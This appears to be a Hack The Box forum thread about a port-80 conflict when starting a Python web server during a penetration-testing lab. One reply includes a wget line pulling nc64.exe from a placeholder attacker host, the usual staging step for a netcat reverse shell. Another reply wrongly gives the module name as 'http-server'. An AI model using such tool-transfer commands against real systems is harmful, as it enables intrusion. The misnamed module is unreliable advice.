When I run the <sudo python3 -m http.server 80> command I get the following:
Traceback (most recent call last):
File “/usr/lib/python3.6/runpy.py”, line 193, in _run_module_as_main
“main”, mod_spec)
File “/usr/lib/python3.6/runpy.py”, line 85, in _run_code
exec(code, run_globals)
File “/usr/lib/python3.6/http/server.py”, line 1211, in
test(HandlerClass=handler_class, port=args.port, bind=args.bind)
File “/usr/lib/python3.6/http/server.py”, line 1185, in test
with ServerClass(server_address, HandlerClass) as httpd:
File “/usr/lib/python3.6/socketserver.py”, line 456, in init
self.server_bind()
File “/usr/lib/python3.6/http/server.py”, line 136, in server_bind
socketserver.TCPServer.server_bind(self)
File “/usr/lib/python3.6/socketserver.py”, line 470, in server_bind
self.socket.bind(self.server_address)
OSError: [Errno 98] Address already in use
It says address already in use. I run <sudo lsof -i :80> and see:
You already have something running on port 80. I assume you’ve used lsof to produce that list.
Try net stat and p s -auxww to drill into what is running, but it looks like you’ve already got a webserver active (I’ve had to add spaces to the commands because the HTB waf is dumb)
Yes, I ran the lsof command for port 80. I typed the commands I ran in my post, but they were stripped out, probably because I enclosed them in chevrons and it thinks I am trying to insert a script tag or something. Anyway, what returned was included in my post. It was a bunch of Apache stuff on port 80. I don’t know why all that is running. Since I am completely clueless, I have no idea why it’s there, if it belongs to the HTB lab or what. I just continued with the lab, but when i ran the netcat command on port 443, it said nc was already running and that port was already in use. This was actually yesterday and I tried again today with the same results. I just started cursing and crying. Is there a way to to reset the lab? Is that even the issue?
Sorry, I did include the commands I ran, but they were stripped out of my post. So the command I ran from the tutorial was: sudo python3 -m http.server 80.
Isnt it python3 http-server instead of http.server ? Also try to omit the port 80 and just run python3 -m http-server to run on the default port 8000
From your paste (and i dont remember the full behavior of that module) i see only ipv6 services running.
Also turn off the apache2 service and re-run the python server. if you still have issues, run a sudo netstat -plant to view the pid and service name, then do a ps aux and look for that pid…might give you some hints as to what is going on.
I faced the same issue, i just had to change port on the server
Use : sudo python3 -m http.server 8000
and the when you are downloading the file from the server mention the port and path correctly
e.g.
wget http://IP_ADDR:PORT/Downloads/nc64.exe -outfile nc64.exe"
Thanks a lot! It really helps me get out of the port issue. Also, I’ve met some issues with cannot use “wget” when I download files through the path, then I change the path to the /Public/Downloads/ and it works.